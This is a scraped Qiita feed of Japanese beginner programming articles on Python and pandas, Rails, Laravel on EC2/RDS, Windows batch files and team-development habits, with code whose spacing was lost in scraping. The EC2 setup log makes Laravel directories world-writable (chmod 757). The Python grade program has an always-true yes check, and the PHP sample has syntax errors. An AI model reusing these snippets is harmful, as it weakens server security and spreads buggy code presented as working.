Quantcast
Channel: 初心者タグが付けられた新着記事 - Qiita
Viewing all 21647 articles
Browse latest View live

学習記録 その21(25日目)

$
0
0

学習記録(25日目)

勉強開始:12/7(土)〜

教材等:
・大重美幸『詳細! Python3 入門ノート』(ソーテック社、2017年):12/7(土)〜12/19(木)読了
・Progate Python講座(全5コース):12/19(木)〜12/21(土)終了
・Andreas C. Müller、Sarah Guido『(邦題)Pythonではじめる機械学習』(オライリージャパン、2017年):12/21(土)〜12月23日(土)読了
Kaggle : Real or Not? NLP with Disaster Tweets:12月28日(土)投稿〜1月3日(金)まで調整
Wes Mckinney『(邦題)Pythonによるデータ分析入門』(オライリージャパン、2018年):1/4(水)〜1/13(月)読了

『Pythonによるデータ分析入門』

1月13日読了

11章 時系列データ

・ある時点において観測されたデータはどのようなものでも時系列を構成する。
 特徴付けの例 タイムスタンプ、一定の期間、時間の感覚によるものなど。
 何に応用するかで方法は変わってくる。
 pandasは時系列のためのツールを多く提供している。金融やログデータ分析等に応用が効く。

・datetime、time、calendarモジュール
 strやstrftimeで書式を指定できる。%Yは4桁の年、%yは2桁の年 など。
 datetime.strftime('%Y-%m-%d')のように使う。

・インデックス参照 date['2000']のようにすれば、該当する年月日のデータを参照できる。
 範囲指定での生成 date_range
 データの移動 shift、オフセットを指定して移動もできる。

・時系列は協定世界時UTCで扱うのがほとんど。
 pytz.timezoneでタイムゾーンオブジェクトを取得、生成
 tz_localizeでローカライズ、tz_convertで別のタイムゾーンに変換する。
 タイムスタンプを生成するときにタイムゾーンも指定できる。

・時系列の頻度は変換できる。resampleメソッドを用いる。
 より低い頻度のデータに集約するダウンサンプリング、逆はアップサンプリング
 resample('5min',closed = XXX), closedは左右どちらを閉区間(値に含まない)か決める。
 OHLC(Open-High-Low-Close)関数、始値・終値・最高値・最安値を集約できる。
 
・窓関数:指数関数的に減少する重み付けをデータに行う。ある有限区間以外では0となる関数。
 ノイズや隙間データを軽減するのに役立つ。rolling, expanding, span, applyで独自関数を適用できる。

12章 pandas:応用編

・pandasのCategorical(カテゴリ型)
 活用することで処理速度やメモリ使用量を改善できる可能性がある。
 
・特定のデータセットを用いて大量の分析をする場合はカテゴリ変数で性能向上が得られる。
 データフレームの列をカテゴリ表現に置き換えると、メモリも少量に抑えられる。
 astype('category')

・カテゴリメソッド 追加、大小関係を設定、削除など。
 add_categories, as_ordered,remove_categories

・機械学習ツール等を使用する場合には、ダミー変数形式に変換しなければならないことがある。
 (one-hotエンコーディングのこと。) 0か1かで表現
 get_dummiesで変換できる。

・groupbyは指定した要素に対し、共通の処理を行える。
 lambda x : x.mean()のように、lambda式を用いればtransformでも同じことができる。
 df.transform(lambda x:x.mean())
 transformを活用することでグループ演算も可能
 normalized = (df['A'] - b.transform('mean'))/b.transform('std') など。
 グループごとの集約が複数回発生する場合があるか、ベクトル演算のメリットが全体的に上回る。

13章 Pythonにおけるモデリングライブラリ入門

・pandasと分析ライブラリの接点は、通常はNumPy配列。
 データフレームをNumPyに変換するには.value属性を用いる。(ndarrayになる。)
 data.values
 戻す時は2次元のndarrayを渡し、列名を指定する。
 pd.DataFrame(data.values, columns=['one', 'two', 'three']

・列の一部のみ使う場合 locでインデックス参照をしながらvaluesを使うとよい。
 model_cols = ['x0', 'x1']
 data.loc[:, model_cols].values
 これで全行x0,x1のみをarrayで抽出できる。

一部をダミー変数で置き換える
dummies=pd.get_dummies(data.category,prefix='category')data_with_dummies=data.drop('category',axis=1).join(dummies)#ダミーを作成、dropで元々あった列を削除し、joinで追加する。

Python初心者がとりあえず動くものを書いてみた(復習用)part1

$
0
0

はじめに

こんにちは。プログラミング(Python)歴約4か月の初心者です。
具体的には、TechAcademyさんの「Pythonコース」と「データサイエンスコース」を各2ヶ月ずつ受講しました。
本記事は、これまで私が学習したことを整理する目的で書きました。上記コースでどのようなことが学べるのか、また受講後にどのようなことが出来るようになるのか、参考になれば幸いです。(特に本記事では「Pythonコース」の内容を書かせて頂きます)。
不格好な部分も多々あると思いますが、よろしくお願いいたします。

Pythonコースで学んだ内容

変数、オブジェクト、関数、メソッドとは?というような基礎から始まり、よく使用する構文(条件分岐if-elif-else, 繰り返しfor/while, 例外処理try-except)、シーケンス(リスト・タプル・セット・辞書)の種類と扱い、オブジェクト指向プログラミング、各ライブラリ(Numpy・Pandas・Matplotlib・Pillow・Imageio・scikit-learn)の使い方を学ぶことができました。定期的に演習課題があり、モデルデータを使用した機械学習(犬猫の画像判別、乳がんの良性悪性予測)の課題などもありました。おそらく基礎的な部分は網羅されているように思いますが、逆にDjangoやFlaskといったWebアプリケーション用のフレームワークについては範囲外になります。

さて、一通り学び終えたところで、復習も兼ねて下記の成績管理プログラムを作成してみました。もちろんテキストを見直しながら、習っていないところはググりながらですが、一応動くものを作ることが出来ました。もし私と同じように、一通りインプットを終えて何かアウトプットしてみたい方がいらっしゃいましたら、是非下記の要件だけ読んでプログラムを書いてみて下さい!きっと良い復習になると思います。

生徒の成績管理プログラム

<要件>
①“save 生徒名 点数“とすると、その生徒の点数を保存。生徒名がすでに保存されている時は、点数を上書きするか警告文を出して、yes/noで上書きの選択を行う。
②“get 生徒名“とするとその生徒の点数を表示。生徒が登録されていない場合はErrorと出力させて処理を継続。
③“quit” とするとプログラムが終了する。
④“average” すでに保存されいる生徒全員の平均点を表示する。“登録されている生徒XX人の平均点はXX.XX点です”

せっかくオブジェクト指向プログラミングを学んだ(正直一番理解に苦しんだ部分でした)ため、クラスを定義しそのメソッドとして各処理を行うようにしました。

class_Score.py
classScore:def__init__(self):self.dict={}defsave(self,name,score):try:score=int(score)except:print("整数値を入力してください")else:ifnameinself.dict:print("生徒名:",name,"は登録されています。")ans=input("得点を上書きしますか?(yes/no):")ifans=="yes"or"Yes"or"YES":self.dict[name]=int(score)print("データが更新されました。")else:self.dict[name]=int(score)print("データが更新されました。")defget(self,name):ifnameinself.dict:print(name,"の得点は",self.dict[name],"点です。")else:print("エラー:データが登録されていません。")defaverage(self):try:ave=sum(self.dict.values())/len(self.dict.values())exceptZeroDivisionError:print("エラー:データが登録されていません。")else:print("登録されている生徒",len(self.dict),"人の平均点は",ave,"点です。")

続けて別ファイルにて、上記で作ったクラスをインポート。Scoreクラスのインスタンスを作成し、条件分岐で各メソッドを実行させるよう書いてきます。

test_score.py
fromclass_ScoreimportScoreScore_data=Score()whileTrue:data=input("コマンドを入力してください:")ifdata=="quit":breakelif"save"indata:a,b,c=data.split()Score_data.save(name=b,score=c)elif"get"indata:d,e=data.split()Score_data.get(name=e)elifdata=="average":Score_data.average()else:print("エラー:コマンドを正しく入力してください。")print("処理を終了します。")

さて、実際に動くか試してみましょう。test_score.pyを実行してみると・・・

コマンドを入力してください:average
エラー:データが登録されていません。
コマンドを入力してください:save Yamada 88
データが更新されました。
コマンドを入力してください:save Ishii 79
データが更新されました。
コマンドを入力してください:save Tanaka 69
データが更新されました。
コマンドを入力してください:save Yamada 89
生徒名: Yamada は登録されています。
得点を上書きしますか?(yes/no):yes
データが更新されました。
コマンドを入力してください:get Yamada
Yamada の得点は 89 点です。
コマンドを入力してください:average
登録されている生徒 3 人の平均点は 79.0 点です。
コマンドを入力してください:quit
処理を終了します。

正常に動いていますね!

おわりに

正直なところ、動くものができただけでだいぶ感動しました(笑)。スクールの課題では、テキストを部分的に変えればできてしまうようなものも多かったため、やはり1から自分で考えてやってみるとハードな分とても勉強になるなと実感しました。また別の課題についても今後投稿してみようと思います。
まだまだ駆け出しですが、マイペースに楽しみながら学習を楽しみたいと思います!ご一読いただきありがとうございました!

【Rails】destroyメソッドを使用しようとしたら"ArgumentError (wrong number of arguments (given 0, expected 1)):"

$
0
0

はじめに

Railsのdestroyメソッドを使用しようとしたら以下のように引数が1つ必要なのに見つかりませんとエラーが発生しました。
凡ミスですが、記録として残します。

ArgumentError (wrong number of arguments (given 0, expected 1)):

環境

OS:macOS Catalina 10.15.1Ruby:2.6.5Rails:6.0.2.1

結論:解決法

今回のコードは以下のようになっていました。

defdestroyposts=Post.where(user_id: 1)posts.destroy#ここでエラー発生end

defdestroypost=Post.find_by(user_id: 1)post.destroy#これは通るend

このように、find_byにすると通ります。

もしくは、該当データが複数ある場合は

defdestroyPost.destroy_by(user_id: 1)#これも通るend

のようにdestroy_byメソッドを使えば該当データをまとめて削除することが出来ます。

原因:destroyは配列を処理できない

whereだと該当するデータが1件であっても配列で返すようになっています。

そのため、配列を処理できないdestroy引数が見つかりませんとエラーを吐いてしまっていたんですね:sweat_smile:

おわりに

最後まで読んで頂きありがとうございました:bow_tone1:

どなたかの参考になれば幸いです:relaxed:

参考にさせて頂いたサイト(いつもありがとうございます)

要件定義初心者のための要件定義指南

$
0
0

要件定義初心者の自分が、要件定義を日々行っていく中で、大事だなと感じたことを記事にしていこうと思います。

要件定義の話に入る前に、以下のような例を出しておきます。

要件定義はRPG

ドラ○エやファイナル○ァンタジーのようなRPGを思い浮かべてください。
RPGの主な流れとして、
勇者魔王を倒して、世界平和にする
このような構成になっていると思います。

これを目的目標手段に当てはめてみます。(様々な当てはめかたがあると思いますが)

目的世界を平和にする
目標魔王を倒す
手段勇者のレベルを上げる

以上を踏まえて要件定義の入っていきます。

要件定義

まず初めに、用語を定義しておきます。

クライアント : ここでは、営業さん、webディレクターさん等、エンジニアに要求を持ってくる人達のことを指すとします。

そもそも要件定義とはクライアントの要求に対して、クライアントエンジニアで認識合わせを行い、どう対応するのかを決めていくものです。

ここで、クライアントの要求に関して言及すると、多くの場合クライアントの要求は上のRPGの話でいうところの目標である場合がほとんどです。

例を挙げて説明すると
競合他社には掲載されている情報を自社サイトにも掲載してほしい
という要求がクライアントから来たとします。これは目標に該当しています。
この要求の裏には、
他社サイトにある情報をしっかりと自社サイトでも提供し、他社サイトに流れてしまうのを防ぐ
という目的があります。

この目的を飛ばして、目標の部分がエンジニアに要求として降ってくる場合が多いです。

重要なのは、なんのためにそのタスクを行うのか・そのタスクを達成するとどんなメリットがあるのかという目的の部分をしっかりと聞き出す事です。

ただ言われた目標の部分を遂行しているだけでは、根本的な問題解決にはならないしエンジニアのリソースの無駄遣いになりかねません。

目標の裏にある、目的のヒアリングを行う。
これが要件定義の第一段階です。

エンジニアは手段の提案のプロ

目的のヒアリングを行いお互いに認識を合わせた後は、その目的に即した目標を達成するための手段をどうするか決めていきます。

システム関連では、エンジニアは手段の提案のプロであるため、クライアントの要求に対して最適な手段を提案できなければなりません。

最適な手段を提案するためには、様々な技術に精通しておかなければならず、そのためには日々新しい技術に触れ続け、自分の引き出しを可能な限り広げておくことが必要です。

自分もまだプログラミング初心者で要件定義の際、この技術の引き出しの少なさに悩んでいます。
しかしこればかりはもう、地道に積み重ねていくしかないと思います。

 まとめ

というわけで、要件定義をする上で需要なことをまとめると
相手の要求の裏にある目的の部分をしっかりと聞き出し、その対応策を考える。
最適な対応策を提案するために日々自分の技術に磨きをかけ、
自分の提案できる手段の引き出しを広げていく。

だと思います。

以上でこちらの記事を締めくくります。

ご閲覧ありがとうございました。

【#PowerAutomate】Microsoft Forms のアンケート内容を Common Data Service に保存する

$
0
0

概要

Power Apps Startup Meeting@広島 でライブデモで行った Microsoft Forms と データソース(デモ時は Common Data Service) の解説記事。
尚、データソースを CDS ではなく Excel にした場合は、 Automate は必要なく、既存の Excel の機能で作成できます。

登壇資料はこちら

Forms を用意

お使いのアカウントで適当に Forms を用意します。
image.png

Automate でフローを作成

最終的なイメージです。
image.png

POINT 応答詳細の取得

Forms のトリガーで取得できるものは 応答IDと呼ばれるもので、指定したフォームの応答を一意に特定するIDのみが取得できます。その為、そのIDを利用して フォームの回答を取得します。
image.png

Automate の詳細

展開するとこんな形です。
image.png

応答内容は文字列で取得できますが、今回は気にせずに文字列で登録しています。
Name プロパティには GUID()関数を指定して、一意のIDを登録しています。

まとめ

いかがでしたか?
実際にフォームのアンケートを簡単に Common Data Service に登録することができました。今回は Common Data Service を選択していますが、別のデータベースを指定しても同様の形で作成できますのでぜひトライしてみてください。

Laravel Migration 基礎

$
0
0

はじめに

  • Laravel Migration の基礎的な使い方のメモ

環境

Laravel

$php artisan --versionLaravel Framework 5.8.16

Mysql

mysql> select version();
+-----------+
| version() |
+-----------+
| 5.7.28    |
+-----------+
1 row in set (0.00 sec)

テーブルを追加して、Laravelで使う

① Table の作成

  • コマンドを実行し、 Created Migartion が返答で帰ってくれば、作成できている。
$php artisan make:migration create_tests_table
>Created Migration: yyyy_MM_dd_HHmms_create_tests_table
  • 作成したファイルは、プロジェクト/database/migrations/の直下に作成したファイルができている。
  • 上記のサンプルだと、『yyyy_MM_dd_HHmms_create_tests_table.php』というファイルができている。

② Migration ファイルの編集

  • ファイルができているので、追加したいカラムなどを設定していく
  • varchar(128)の name カラムを追加
  • unsigned int の number を追加
yyyy_MM_ddHHmmss_create_tests_table.php
classCreateTestsTableextendsMigration{publicfunctionup(){Schema::create('tests',function(Blueprint$table){$table->bigIncrements('id');$table->string('name',128)->nullable()->comment('名前');// varchar 文字長 128 $table->integer('number')->nedned()->comment('番号');// int 符号なし$table->timestamps();});}publicfunctiondown(){Schema::dropIfExists('tests');}}

③ Migration ファイルの実行

  • 実行すると、データベースに作成したテーブルができる
$php artisan migrate
>Migrating: YYYY_MM_DD_ddHHmmss_tests_table
>Migrated:  YYYY_MM_DD_ddHHmmss_tests_table
  • テーブルができているか、Mysql 側で確認してみる
mysql>DESCRIBEtests;+------------+---------------------+------+-----+---------+----------------+|Field|Type|Null|Key|Default|Extra|+------------+---------------------+------+-----+---------+----------------+|id|bigint(20)unsigned|NO|PRI|NULL|auto_increment||name|varchar(128)|YES||NULL|||number|int(10)unsigned|NO||NULL|||created_at|timestamp|YES||NULL|||updated_at|timestamp|YES||NULL||+------------+---------------------+------+-----+---------+----------------+5rowsinset(0.00sec)

④ Model を作成し、Laravelで使う

  • コマンドラインから Model の作成を行う
  • DB のテーブルを作成するときは複数形だったけど、クラスは単数に変更して作成する
$ php artisan make:model Models/Test
>Model created successfully.
  • 正常に実行できると プロジェクト/app/Models/の下に Test.phpが作成される

未経験・初心者エンジニア向け。実務でチーム開発する前に意識したいこと10選。

$
0
0

はじめに

昨今スクールも増え、エンジニアも増えてきたなと思います(非常に良いことだと思う)。
ただスクール後のエンジニアの方のレビューをさせていただくと、
技術力以外の部分で「スクールで教えといてあげてよ」みたいなことが多かったので、
未経験・初心者のエンジニアの方が実務で作業する前に意識しておいたほうがいいことをザッとまとめました。

個人的な意見なので、「うちのチームにはこの項目要らない」などあるかもしれません。
また網羅はできてないと思うので順次足していくかと思います。これも入れたほうがなどあればコメントお待ちしています。

また

  • チーム開発したことのない人
  • 我流コード書いてる人

にも参考になればと。

内容

インデント

普通に考えたら揃えるだろとか思ってしまうのですが、なんで?ってくらいインデントがテキトーな人が多い気します。
インデントがズレてると読みにくいのと、Hamlなどインデントによって意味が変わる言語もあるので普段からインデントのズレは気にしましょう。

書き方の統一

書くコードに統一性がないと自分も他のメンバーも読みにくいです。
文化的なもので正解はないのでそれぞれの企業の文化に合わせて統一性のあるコードを書きましょう。

CSSを例に出すと、

  • カラーコードは大文字か小文字か
  • クラス名はハイフンかCamelかSnakeか
  • CSSを書く順番

など。他にも下記のような半角スペースの取り方も。

users.map{ |user| user.name }
users.map{|user| user.name}
users.map { |user| user.name }

上述したように正解はないのでとにかく統一しましょう。先輩方の既存のコードがある場合はそれを見て合わせる、自分1人で書く場合も自分の中でルール付けしましょう。

DRYか

最初から綺麗なコードを書くのは無理(私もまだまだ書けてない。。)ですが、
常にいいコードを書こうとはしてください。
明らかに同じコードなのに何度も書くのはやめましょう。

hogehoge.html.haml
=User.find(params[:id]).name=User.find(params[:id]).address-user=User.find(params[:id])=user.name=user.address

テキトーなコードで恐縮ですが、せめて上記のように1ファイル内でDRYじゃないかどうかは誰でも気にできるので気にしましょう。
(サンプルはDRY以前にSQL的にもよくないですがサンプルなので気にせずで)

DRYを指摘されるなら、
ここはヘルパーメソッド・モデルメソッドを使おう、モジュールでまとめよう
みたいな指摘をされるくらいがよいと思います。

シンプルか、わかりやすいか

上のDRYに似ているのですが、個人的にはコードは書かなければ書かないほどよいと思っています(文化によるかも)。
そもそもバグはコードを書くから生まれるので、コードが少なければ少ないほどバグは生まれにくいためです。

hogehoge.rb
user_names=users.map{|user|user.name}user_names=[]users.eachdo|user|user_names.push(user.name)end

上記は一例ですが、同じ挙動を作るにも複数の実現方法があります。
よりシンプルでわかりやすいコードを選択するためにも、

  • 複数の実装方法を考える
  • それぞれのメリット・デメリットを考える
  • 一番いい実装方法で実装

みたいにするとよいと思います。

補足ですが、私の場合そもそもコード書いて開発しなくてもスプレッドシートで対応できるなど代替案があり
そちらのほうが良さそうであればそちらを提案します。

わかいやすい、正しい英語を使う

英語はそもそもある程度できたほうがエンジニアとして有利なのでやったほうがいいです。
日本語だとどうしても情報が少ないので基本的に英語でググり英語の情報を読むことが多いですし。

プログラムを書くときにわかりにくかったり、間違ったりした英文法を使っていると、メンバーが意図を解釈できず、理解するのに余計なコストが生まれるので
わかりやすい、正しい英語を使いましょう。

メソッド名の付け方などは有名な『リーダブルコード』を読むのがいいと思います。

コミットの粒度は細く

明確なルールを作りにくいので難しいのですが、コミットはある程度細かい単位でやりましょう。
何かあったときに戻りやすいのと、レビューもやりやすいです。また、体調を崩して作業途中で引き継ぐ際にも引き継ぎがしやすくなります。
例えばとある機能を作るときには下記のように分けるなどです(大きい機能であればもっと細くする)。

  • バックエンド
  • フロントエンド
  • 自動テスト

1ブランチ1作業

1つのブランチには基本的に1つの作業しか含まないようにしましょう。
AとBの作業があって同じブランチで両方作業した場合、どちらかの機能開発で詰まると両作業ともリリースできなくなってしまいます。
AとBの作業でブランチを分けておけば仮にAの作業が詰まってもB作業のリリースには影響しなくなります。

レビュー依頼はこまめに

これはエンジニアだけでなく仕事をする上で共通かと思います。
一度にすべてのコードを書いてレビューを依頼してそもそもの実装の方針から直しが必要な場合かなりの時間をロスすることになります。
対策として、
「こんな感じで実装しようと思うのですがどうですか?」
「まずは裏側だけコード書きました」
のようにステップごとにレビューを依頼すると効率的かと思います。

質問はやりたいことから順に伝える

「こういうコードを書いてるんですけどうまく動かないので教えてほしいです」
のような質問が時々あるのですが、回答者もゴールがわかってないと答えを出せません。

なので、
「これこれこういうことをやりたいです(ワイヤー、デザイン、ブラウザを見せながら)
ただここの部分がうまく動かずこのようなエラーが出てしまいます。
どうやって解消したらよいですか?」
みたいな感じで聞いてもらえると回答者も答えやすいと思います。

加えて現状のURLや、どんなデータや状況でエラーが起こっているのかも伝えられるとなおよしです。

ヘルプは早めに

スプリントを1週間単位で進めている場合、スプリント最終日にヘルプを求められても先輩も別作業があり教えることができない場合もあります。
作業が納期までに間に合わなそうであればなるべく早くヘルプを求めてもらえると先輩や上司も助けやすいかと思います。

おまけ(できたらなおよし)

メソッドやモジュールがあるか気にする

何度も使うような処理はすでに先人たちがモジュール化やメソッドを作ってくれてる可能性が高いので、
先人に質問するなり自分で探すなりするとよいかと思います。

意図を想像する

これは実装はもちろん設計やデザイン含めてのことです。
「なぜこのボタンは赤色なのか」
「なぜソート順はIDで降順なのか」
「なぜこのコードはここに書いているのか」
「なぜ変数名はこれなのか」
など作者の意図を汲み取るとより綺麗なコードが書けるようになったり、設計者やデザイナーとのやり取りもスムーズになったりします。
また「こっちのほうがいいのではないか」のような議論を自分からできるようになります。

作業の前提条件を確認する

その作業は何のためにやるのか、いつまでにやらないとまずいのか、など作業の背景や条件を事前に把握しておきましょう。

例えば「CSVダウンロードできるデータを特定の条件で並び替えられるようにする」という作業があったとき、ダウンロードしたCSVファイル側で並び替えたほうが効率がいいという場合もあります。
そんなときに何も確認せずただ言われたことをやっているだけだと時間を無駄に使ってしまいますが、
エンジニアからCSVで作業したほうが早いのでそちらでお願いしますと言えると全体効率が上がります。

また、「打刻システムと集計システムを作る」ようなタスクがあり、納期に間に合わなさそうな場合、
両機能を言われた通りの納期で作ろうとすると間に合わないか、いわゆるデスマになります。
なので「間に合わせるのであれば、ここの機能やギミックは後回しにさせてほしい」というようなやり取りや、
「打刻システムだけ納期に間に合わせて事前にリリースして打刻のデータを作れるようにする。集計システムはその月が終わるまで使わないだろうからそれまでに作業する」のような段取りを提案できると誰も苦しまずに作業を進めることができます。

まとめ

実務として、さらにチームとして開発する場合、ただコードを書いて動けばいいというわけではないです。
コードの品質の向上、開発の進め方など技術以外の部分も意識できているとより即戦力になるかと思うので試しに気にしてみてください。

もちろんここに書いてあることが正解ではなく、企業の文化によって異なることもあるとは思うので
その場合は文化に合わせるなり、より効率的な方法があれば文化を変えるなりしていくのがいいと思います。

Windowsバッチ~はじめのechoコマンド

$
0
0

はじめに

Windowsバッチを作成する機会がありましたので簡単なことをまとめました。
今回は、echoコマンドについてです。

エコー機能とは

エコー機能とは、例えばバッチファイルで実行されたdirコマンド自体が
画面に表示されることをいいます。
ちなみにエコー機能はデフォルトではオンになっています。

結果だけを表示したい場合は、
 をコマンドの前に入力する
または
@echo off を1行目に入力しておくと
それ以降に実行されるコマンドは画面に表示されません。

下記の例Dirtest.batは、@をつけないで実行した場合です。

例Dirtest.bat
remデスクトップに移動
cddesktopremディレクトリ情報の表示
dir

remはコメントアウトです。
:を先頭に入力してもコメントアウトされます。

例Dirtest.bat~実行結果
C:¥Users¥test>cd Desktop

C:¥Users¥test>dir
ドライブCのボリュームラベルは・・・

実行結果に、cd Desktopdirコマンドも表示されています。

次に表示させたくないコマンドの前にをつけたバッチファイルを実行します。

例Dirtest2.bat
@cd desktop
@dir
例Dirtest2.bat~実行結果
C:¥Users¥test>
ドライブCのボリュームラベルは・・・

をコマンドの前につけたことで、実行コマンド自体は表示されなくなり
結果のみが表示されるようになりました。

実際にバッチファイルを作成して試してみてください。

バッチ作成のほとんどの場合は1行目に@echo offをいれますので覚えておきましょう。

結果に空白行を表示したいとき

出力結果に空白行を挿入したいときは、echo.を入力します。
実行結果の表示をスッキリ見せたいときや出力ファイルをきれいにみせたいときに使います。

例えば実行結果を

例test.bat~実行結果
------------------------------------------------
わたしはSEです。

         以上
------------------------------------------------

と表示させたい場合は、

例test.bat
@echo offecho------------------------------------------------------echoわたしはSEです。

rem空白行を挿入
echo.

echo       以上
echo------------------------------------------------------

と空白行をいれたい箇所にecho.を入力します。
そうすることで実行結果は以下になります。

------------------------------------------------
わたしはSEです。

         以上
------------------------------------------------

少し、例の空白行がわかりずらかったかもしれませんが…
echo.もよく使うと思いますので覚えておきましょう。

おわりに

今回のechoコマンドは他にも使い方があると思いますが、本当に簡単な初めのechoコマンドのまとめでした。
これからWindowsバッチを初めて作成する方に役に立つといいです。
別コマンドも勉強したのでまた次回のせます。


Pythonの勉強

$
0
0

python

勉強中なので学んだことをまとめていく。随時追加。

リスト

辞書を宣言
ListName = [Value1,Value2, ・・・]
0番目の値を出力。[-1]で一番後ろの値、[-2]で後ろから2番目の値。
print(DictioaryName[0])
リストの末尾に要素を追加
team.append("いぬ")
リストの要素を上書き
team[0] = ("ねこ")
リストの要素を削除
team.pop(0)

辞書

辞書を宣言
DictioaryName = {Key:Value, ・・・}
出力
print(DictionaryName)
Keyに対応するValueを出力
print(DictioaryName[Key])

PHPで配列の中身を文字列型として取り出したい時

$
0
0

はじめに

業務でAPI連携をする際に遭遇した内容となります。
備忘録として残そうと思って今回、書きました。

例えばこんな時に使う(実際に自分が遭遇した状況)

APIでリクエストを送った際、返ってきたレスポンスの中でidやnumberなどを配列として保存して、後で別のAPIのリクエストを送る際に使用する時・・・

サンプルコード

test.php
publicfunctionmain(){$idList=['1','2','3','4','5','6','7','8','9','10']foreach($idListas$arrayId){createRequest($arrayid);}}publicfunctioncreateRequest($arrayid){$strId=(int)$arrayId[0];$response=$this->httpClient->request('GET',//methodsprintf('/users/%s',$strId),//url['headers'=>'Authorization'=>アクセストークン,//headers'query'=>検索条件//query parameter)}

例えばこんな感じになります。

軽い説明

①今回は省略してますが、$idListに設定されたidが前にAPIを叩いてリクエストを送って返ってきたレスポンスからidだけを配列として詰めたものと仮定します。
②id単位でforeach文を回して10回分、それぞれのidをurlに設定してリクエストを送ると言った形になります。
③createRequest()メソッドに引数として渡した$arrayIdは名前の通り配列となってます。
$strId = $arrayId[0];←ここで配列に設定されてる値をstr型にして別の変数に格納します。

終わりに

なんか他にもっといいやり方あるって方はコメントなどで教えてくれると嬉しいです!

EC2とRDSでlaravelの環境構築をしたので備忘録

$
0
0

書くこと

  • 長い前置きと言い訳
  • AWSにアカウント登録する
  • EC2のインスタンスを作成する
  • SSHを使用してEC2に接続する
  • VScodeでEC2のコードを編集う出来るようにする
  • RDSにてDBを作成し、EC2からRDSに接続する
  • RDSをphpMyAdminからも操作出来るようにする
  • EC2にLaravelの環境を作る
    • composer update
    • 500 ERROR
    • ストリームを開けませんでした:許可が拒否されました
    • No application encryption key has been specified.
    • file_put_contents()

長い前置きと言い訳

これまで発信というものをして来ませんでした。
今も積極的にするつもりはないのですが、今日1日あまりにはまったので備忘録として壁打ち記事を書いてみます。
対象者は自分なので皆さまに有益な情報は全くないかもしれません。
そして記事を書くつもりなくあれこれ操作したのでまとまっていない・情報が足りない部分もあると思われますが、記事1ページ目としてご容赦願いたい。
あまり詰まらなかった箇所はサクサク箇条書きしていくつもり。

AWSにアカウント登録する

実は登録したのは3ヵ月ほど前に遡る。
正直何も覚えていないくらいスムーズに登録したと思う。

EC2のインスタンスを作成する

3ヵ月前の自分が どこのリージョンにインスタンスを立てたかまったく思い出せない。
久々にやる気になって当然東京(ap-northeast-1)だろうとみてみるも、作成したはずのインスタンスが見つからず、結局立て直し後にオハイオ(us-east-2)に建てたことに気付く。
公式のチュートリアルドキュメントが大変わかりやすかった。
https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/install-LAMP.html

SSHを使用してEC2に接続する

ここで大変はまる。ターミナルはMobaXtermを使用して接続する。
・AWSコンソールのIAMにて設定したユーザ名が使えるものと思い込む。(実際は ec2-user)
・MobaXtermはPuTTYであるためプライベートキーを返還する必要があることを知らなかった。
公式のドキュメントにあんなに丁寧に書いてあるにもかかわらず目が滑ったためである。
いずれも懇切丁寧に記載されている。
ユーザ名も変えられました。
https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/AccessingInstancesLinux.html
https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/putty.html

VScodeでEC2のコードを編集出来るようにする

SSH FSというプラグインを使用しました。
設定がびっくりするくらい簡単で、setting.jsonから下記をサクッと追記するだけです。

"sshfs.configs": [
    {
        "name":"VScodedeで表示するわかりやすい名前",
        "root": "/var/www/html",
        "host": "Elastic IP",
        "port": 22,
        "username": "ec2-user もしくは変更したユーザ名",
        "privateKeyPath": "C:/プライベートキーのパス",
    }
],

RDSにてDBを作成し、EC2からRDSに接続する

コンソールからDBを作成。余裕こいていたらはまりました。
VPNの設定を変更したためにはまった方の記事を読んだ覚えがあったので諸々defaultで設定したのですが、これがよくありませんでした。
当然ですが、EC2と同じセキュリティグループでなかったために
ERROR 2002 (HY000): Can't connect to MySQL server on 'hoge.rds.amazonaws.com'
流れで作業するって怖いですね。

RDSをphpMyAdminからも操作出来るように

VScodeから設定変更大変良き~便利!と調子に乗っていたら無慈悲にERRORが襲ってきました。
「設定ファイルのパーミッションが正しくありません。誰でも書き込み可能になっています!」
mampの場合はアドレス直打ちするとよいとあったのでmampじゃないけれども念のため試す。がしかし通らない。。
少し前の記事ですが こちらを参考にパーミッションの設定を755に変更したところすんなり通りました。ありがたいです。

【参考にさせて頂きました】
https://hacknote.jp/archives/40002/

EC2にLaravelの環境を作る

はまりポイント1 : composer update
下記のようなエラー。

The following exception is caused by a lack of memory or swap, or not having swap configured Check https://getcomposer.org/doc/articles/troubleshooting.md#proc-open-fork-failed-errors for details

こちらにたどり着き、php.iniの設定によるメモリ不足とswapが000であることが原因と推定。
こちらを参考に設定変更し、無事アップデート出来ました。

はまりポイント2 : 500 ERROR
無事入れられたと思った矢先にこれです。
こちらを参考に確認したところ.envがsampleしかありませんでした。

はまりポイント3 : ストリームを開けませんでした:許可が拒否されました
logs/laravel.log が開けんとのことで、laravel.logというからファイルを作ってみたらエラー内容がポイント4に移行しました。

はまりポイント4 : No application encryption key has been specified.
こちらを参考に設定するとまたエラー内容が5に移行しました。
ちゃんと内容変わってるので一つ一つクリアしていってる感が謎に楽しくなってきています。

はまりポイント5 : file_put_contents()

 file_put_contents(/var/www/html/Laravel/storage/framework/views/a98899461fa7df96140905779c36af262be64fce.php): failed to open stream: Permission denied

こちらを参考にし下記のパーミッションを変更。ユーザー権限だとApacheが一時ファイルを書き出せないためのようです。

chmod 757 bootstrap/cache
chmod 757 storage/app/public
chmod 757 storage/framework/cache
chmod 757 storage/framework/sessions
chmod 757 storage/framework/views
chmod 757 storage/logs

5つ乗り越えた先に…
ようやくLaravelのindexを表示させることができました…!!!
正直あのシンプルな画面が出てきたときは「え?もうエラーいいんですか?」みたいな謎の心境になりましたが、ようやく先に進めるので素直に喜びたいと思います。

【参考にさせて頂きました】
https://qiita.com/PKunito/items/31445d4475d4e18fe4d7

おわりに

ここまでまとめていると如何にインフラ系の知識が無いかがよくわかりますね。
そしてふわふわ構築しているというか、取り合えず手を動かしてる感を改めて感しました。自分の1日を振り返るってとても重要ですね。
色々なサイトを見すぎて参考になったサイトすべてを記載できている自信がありません。
まだログイン機能なども残っていますし簡単なアプリも実装しながらlaravelの特徴も学んでいきたいので、またこうして壁打ち記事を書くつもりで勉強します。
完全に自分用の内容となっていますが、同じERRORに遭遇した方の役に少しでもなれたら嬉しいです。

【超初心者向け】『メイドイン「俺」』から学ぶゲーム作り③アニメーション編

$
0
0

はじめに

この記事は『メイドイン「俺」』から学ぶゲーム作り②台本(スクリプト)の書き方編
の続きです。
